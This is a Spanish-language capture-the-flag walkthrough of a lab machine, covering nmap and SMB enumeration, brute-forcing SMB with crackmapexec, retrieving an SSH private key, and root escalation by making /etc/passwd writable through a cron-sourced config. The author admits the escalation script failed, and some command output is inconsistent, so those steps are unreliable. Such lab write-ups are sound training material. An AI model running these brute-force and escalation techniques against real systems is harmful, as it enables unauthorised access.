

# LATTICE



## CONECTIVIDAD

```
ping -c1 172.17.0.2
```

```
# ping -c1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.283 ms

— 172.17.0.2 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.283/0.283/0.283/0.000 ms
```

## ESCANEO DE PUERTOS

```
nmap -p- -Pn -sVC --min-rate 5000 172.17.0.2 -T 2
```

```

# nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2 -T 2 --script smb-security-mode --target example.com --markdown-e
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 17:33 EST
Nmap scan report for 172.17.0.2
Host is up (0.000047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 95:c4:a3:20:eb:9a:2d:7f:0d:57:89:a7:6a:11:e0:ff (ECDSA)
|_  256 b4:81:b9:fd:6e:3e:fa:47:f1:b2:69:b4:dc:42:05:03 (ED25519)
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn  Samba smbd 4.19.5-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: AAC01E04EB84; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-11-30T22:36:02
|_  start_date: N/A
|_ nbstat: NetBIOS name: AAC01E04EB84, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.19.5-Ubuntu)
|   Computer name: aac01e04eb84
|   NetBIOS computer name: AAC01E04EB84\X00
|   Domain name:
|   FQDN: aac01e04eb84
|_  System time: 2024-11-30T23:36:05+01:00
| smb2-security-mode:
|   3.1:1:
|_  Message signing enabled but not required
|_ clock-skew: mean: -19m59s, deviation: 34m36s, median: 0s

```

PUERTOS 22, 139 Y 445

## ENUMERACIÓN

Con enum4linux recopilamos información del SMB

**enum4linux -a 172.17.0.2**

[+] Enumerating users using SID S-1-5-21-3253968544-1046249665-1323544942 and logon username "", password ""

S-1-5-21-3253968544-1046249665-1323544942-501 AAC01E04EB84\nobody (Local User)

S-1-5-21-3253968544-1046249665-1323544942-513 AAC01E04EB84\None (Domain Group)

S-1-5-21-3253968544-1046249665-1323544942-1000 AAC01E04EB84\itadmin (Local User)

S-1-5-21-3253968544-1046249665-1323544942-1001 AAC01E04EB84\manager (Local User)

Tenemos dos usuarios **itadmin y manager**

Con **crackmapexec** vamos por fuerza bruta en el protocolo smb de **itadmin**

```

└─# crackmapexec smb 172.17.0.2 -u itadmin -p /usr/share/wordlists/rockyou.txt | grep '\['
SMB          172.17.0.2      445      9C6E07CAEC64      [+] 9C6E07CAEC64\itadmin:iloveyou1

```

Con **smbmap** investigamos los recursos compartidos en este protocolo

**smbmap -H 172.17.0.2 -u 'itadmin' -p "iloveyou1"**

```

└─# smbmap -H 172.17.0.2 -u 'itadmin' -p "iloveyou1"
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[+] Detected 1 hosts serving SMB
[+] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 172.17.0.2:445 Name: 172.17.0.2 Status: Authenticated
Disk
  print$          READ ONLY      Printer Drivers
  public          READ ONLY
  it_data         READ ONLY
  IPC$            NO ACCESS      IPC Service (9c6e07caec64 server (Samba, Ubuntu))
[*] Closed 1 connections

```

Con **smbclient** accedemos a los recursos compartidos /public

**smbclient //172.17.0.2/public -U itadmin**

```

└─# smbclient //172.17.0.2/public -U itadmin
Password for [WORKGROUP\itadmin]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D            0 Tue Nov 26 17:59:20 2024
..               D            0 Tue Nov 26 17:59:20 2024
decrypt_hint.txt N            554 Tue Nov 26 17:58:24 2024
notes.txt        N            411 Tue Nov 26 17:59:19 2024

82083148 blocks of size 1024. 50476948 blocks available
smb: \> get decrypt_hint.txt
getting file \decrypt_hint.txt of size 554 as decrypt_hint.txt (90.2 KiloBytes/sec) (average 90.2 KiloBytes/sec)
smb: \> get notes.txt
getting file \notes.txt of size 411 as notes.txt (80.3 KiloBytes/sec) (average 85.7 KiloBytes/sec)
smb: \>

```

```

└─# cat decrypt_hint.txt
Hola equipo,

Como parte de nuestra política de seguridad, recuerden que todas las contraseñas deben cumplir con los siguientes criterios:

- Tener al menos 8 caracteres.
- Incluir al menos una letra mayúscula, una minúscula, un número y un símbolo.
- No utilizar palabras comunes o fáciles de adivinar.

Por ejemplo, para el archivo cifrado en 'confidential', la contraseña es: ExPl0r3.2024

Por favor, asegúrense de seguir estas pautas al establecer nuevas contraseñas. La seguridad de nuestra información depende de ello.

Saludos,
itadmin

```

```
cat notes.txt
Hola equipo,

Parece que tuvimos un problema con las credenciales de acceso a 'it_data'. No podemos recordar la contraseña, pero estoy seguro de que es algo sencillo. Tal vez algo que alguien podría adivinar si lo intenta lo suficiente...

Mientras tanto, he dejado una copia de la contraseña del ZIP en 'confidential'. Por favor, no compartan esta información con nadie fuera del equipo.

Saludos,
itadmin
```

Repetimos la misma operación para **/it\_data**

**smbclient //172.17.0.2/it\_data -U itadmin**

Password for [WORKGROUP\itadmin]:  
Try "help" to get a list of possible commands.

smb: \> ls

.	D	0	Tue Nov 26 17:54:01 2024
..	D	0	Tue Nov 26 17:54:01 2024
protected.zip	N	474	Tue Nov 26 16:47:36 2024
passwd_policy.txt	N	659	Tue Nov 26 17:54:00 2024

82083148 blocks of size 1024. 50476588 blocks available

smb: \> get protected.zip

getting file \protected.zip of size 474 as protected.zip (10.8 KiloBytes/sec) (average 10.8 KiloBytes/sec)

smb: \> get passwd\_policy.txt

getting file \passwd\_policy.txt of size 659 as passwd\_policy.txt (6.3 KiloBytes/sec) (average 7.6 KiloBytes/sec)

```
cat passwd_policy.txt
Hola,

De acuerdo con nuestra política de seguridad, todas las contraseñas deben cambiarse cada 3 meses para garantizar la seguridad de nuestro sistema.

Notamos que tu contraseña actual, '3xpl0r3!', ya ha superado este límite de tiempo. Por favor, cámbiala a la brevedad utilizando el siguiente comando:

passwd

Recuerda que las nuevas contraseñas deben cumplir con los siguientes requisitos:
- Al menos 8 caracteres.
- Incluir una letra mayúscula, una minúscula, un número y un símbolo.
- No reutilizar ninguna de las últimas 5 contraseñas.

Si tienes dudas o necesitas ayuda, contacta con el equipo de TI.

Gracias,
- Equipo de Seguridad TI
```

Ahora, con las credenciales **manager/3xpl0r3!**

accedemos al recurso oculto **"confidential"**

**smbclient //172.17.0.2/confidential -U manager**

```
└─# smbclient //172.17.0.2/confidential -U manager Mon Dec 2 08:56:36 2024
Password for [WORKGROUP\manager]: size 1024. 49638276 blocks available
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0  Mon Dec  2 08:49:15 2024
..               D           0  Mon Dec  2 08:49:15 2024
password.txt.gpg N          97  Tue Nov 26 18:01:28 2024
logs.log         N         811  Mon Dec  2 08:56:36 2024
Help            82083148 blocks of size 1024. 49638276 blocks available
```

Nos traemos a local el .gpg y .log

**cat password.txt.gpg**

?

??EPQjr

**cat logs.log**

Parece que hay un usuario llamado devuser en este sistema. Según los registros, este usuario solía encargarse de tareas de desarrollo y pruebas.

```
[2024-11-27 12:45:23] User 'devuser' connected via SSH from 192.168.1.100
[2024-11-27 12:46:10] User 'devuser' accessed '/opt/config/secure.conf' for reading
[2024-11-27 12:46:35] User 'devuser' modified '/opt/config/secure.conf':
[2024-11-27 12:47:00] User 'devuser' saved changes to
'/opt/config/secure.conf'
[2024-11-27 12:47:15] User 'devuser' executed 'ls -l /opt/config/secure.conf'
[2024-11-27 12:48:05] User 'devuser' disconnected from SSH session
```

Se encontró una clave privada que podría ser útil para conectarse. Tal vez sea la forma de iniciar sesión como devuser... pero asegúrate de que la clave esté protegida correctamente antes de usarla.

Desencriptamos la contraseña para el zip

**gpg --decrypt password.txt.gpg**

```
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
Password: zipsecret
```

Descomprimimos el zip

**unzip protected.zip**

```
Archive: protected.zip
[protected.zip] private_key.txt password:
```

inflating: private\_key.txt

Obtenemos la clave privada de devuser

**cat private\_key.txt**

-----BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABbm9uZQAAAAAAAAABAAA  
AMwAAAAtzc2gtZW

QyNTUxOQAAACDw3C5WrHJ/w717DHfg/RxYKt/c38/KUw0zQiH2hrXcvwAAA  
JB7NA9UezQP

VAAAAAtzc2gtZWQyNTUxOQAAACDw3C5WrHJ/w717DHfg/RxYKt/c38/KUw0  
zQiH2hrXcvw

AAAECMgrp+K+JRboglmLbSdKIS/bJUIjvsvM6l/vgJqH2uKfDcLlascn/DvXsMd  
+D9HFgq

39zfz8pTDTNCIfaGtdy/AAAACWthbGIAa2FsaQECaWQ=

-----END OPENSSH PRIVATE KEY-----

## EXPLOTACIÓN

Accedemos al sistema por el protocolo SSH con devuser y su clave privada

Damos permisos a la clave

**chmod 600 clave**

```
# ssh -i clave devuser@172.17.0.2
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Máquina generada con cyberland.sh script desarrollado por Adrian Gist
Last login: Wed Dec  4 15:52:42 2024 from 172.17.0.1
$ whoami
whoami: cannot find name for user ID 1004: Permission denied
$ id
uid=1004 gid=1004(devuser) groups=1004(devuser)
$
```

## ESCALADA DE PRIVILEGIOS

Después de un buen rato dando vueltas, me descargo

linux smart enumeration, le doy permisos y ejecuto

I have no name!@f6f642e1977c:/tmp\$ chmod +x lse.sh

```
I have no name!@f6f642e1977c:/tmp$ wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
--2024-12-11 09:29:20-- https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 48875 (48K) [text/plain]
Saving to: 'lse.sh'

lse.sh                               100%[>] 47.73K --.-KB/s in 0.02s

2024-12-11 09:29:21 (2.06 MB/s) - 'lse.sh' saved [48875/48875]

I have no name!@f6f642e1977c:/tmp$ chmod +x lse.sh
```

I have no name!@f6f642e1977c:/tmp\$ **./lse.sh -l2**

[\*] ret020 Cron jobs..... yes!

---

/etc/crontab:SHELL=/bin/sh

/etc/crontab:17 \* \* \* \* root cd / && run-parts --report /etc/cron.hourly

/etc/crontab:25 6 \* \* \* root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }

/etc/crontab:47 6 \* \* 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }

/etc/crontab:52 6 1 \* \* root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

**/etc/crontab: \* \* \* \* root /opt/scripts/manage\_files.sh**

/etc/cron.d/e2scrub\_all:30 3 \* \* 0 root test -e /run/systemd/system ||

SERVICE\_MODE=1 /usr/lib/x86\_64-linux-gnu/e2fsprogs/e2scrub\_all\_cron

/etc/cron.d/e2scrub\_all:10 3 \* \* \* root test -e /run/systemd/system ||

SERVICE\_MODE=1 /sbin/e2scrub\_all -A -r

I have no name!@f6f642e1977c:/opt/scripts\$ **ls -la**

total 12

drwsr-xr-x 1 0 root 4096 Nov 27 02:34 .

drwxr-xr-x 1 0 root 4096 Nov 27 02:33 ..

-rw-r--r-- 1 0 root 248 Nov 27 02:34 manage\_files.sh

I have no name!@f6f642e1977c:/opt/scripts\$ **cat manage\_files.sh**

#!/bin/bash

# Leer el archivo de configuración

source /opt/config/secure.conf

if [ "\$safe\_mode" = "true" ]; then

**chmod 600** /etc/passwd

echo "Sistema en modo seguro."

else

**chmod 666** /etc/passwd

echo "Sistema en modo inseguro."

El script cambia los permisos de /etc/passwd con chmod.



Si el archivo `secure.conf` es editable podríamos manipular la variable `safe_mode` para ejecutar comandos como `root`.

```
I have no name!@f6f642e1977c:/opt/scripts$ cat /opt/config/secure.conf
safe_mode=true
```

```
I have no name!@f6f642e1977c:/opt/scripts$ ls -la /opt/config/secure.conf
-rw-rw-rw- 1 0 root 15 Dec  2 14:24 /opt/config/secure.conf
```

La configuración de permisos para el archivo indica que cualquier usuario puede leer y escribir en este archivo.

Cambiamos el valor de `safe_mode` a `false`

```
echo 'safe_mode=false' > /opt/config/secure.conf
```

```
I have no name!@f6f642e1977c:/opt/scripts$ cat /opt/config/secure.conf
safe_mode=false
```

Esperamos a que se ejecute el cron job: El cron job configurado en

`/etc/crontab` se ejecuta cada minuto (`* * * * *`) y ejecutará

`manage_files.sh` como usuario `root`. Cuando se ejecute el script

con `safe_mode=false`, cambiará los permisos de `/etc/passwd` a `666`,

permitiendo que cualquier usuario lo edite.

Luego, solo se trataría de borrar la primera `x` en el `/etc/passwd`

```
I have no name!@479dfcdc73ba:~$ su root
root@479dfcdc73ba:/home/devuser# whoami
root
root@479dfcdc73ba:/home/devuser#
```



Desgraciadamente y después de muchos intentos, no he sido capaz de que funcione el script, aunque recurriendo a una técnica milenaria consigo igualmente la flag de root.

Por pura especulación, (se aceptan gustosamente consejos)

```
I have no name!@479dfcdc73ba:~$ id  
uid=1004 gid=1004(devuser) groups=1004(devuser)
```

El sistema no puede asociar UID con un nombre de usuario porque falta la entrada correspondiente en el archivo `/etc/passwd`.

👉 Buen día.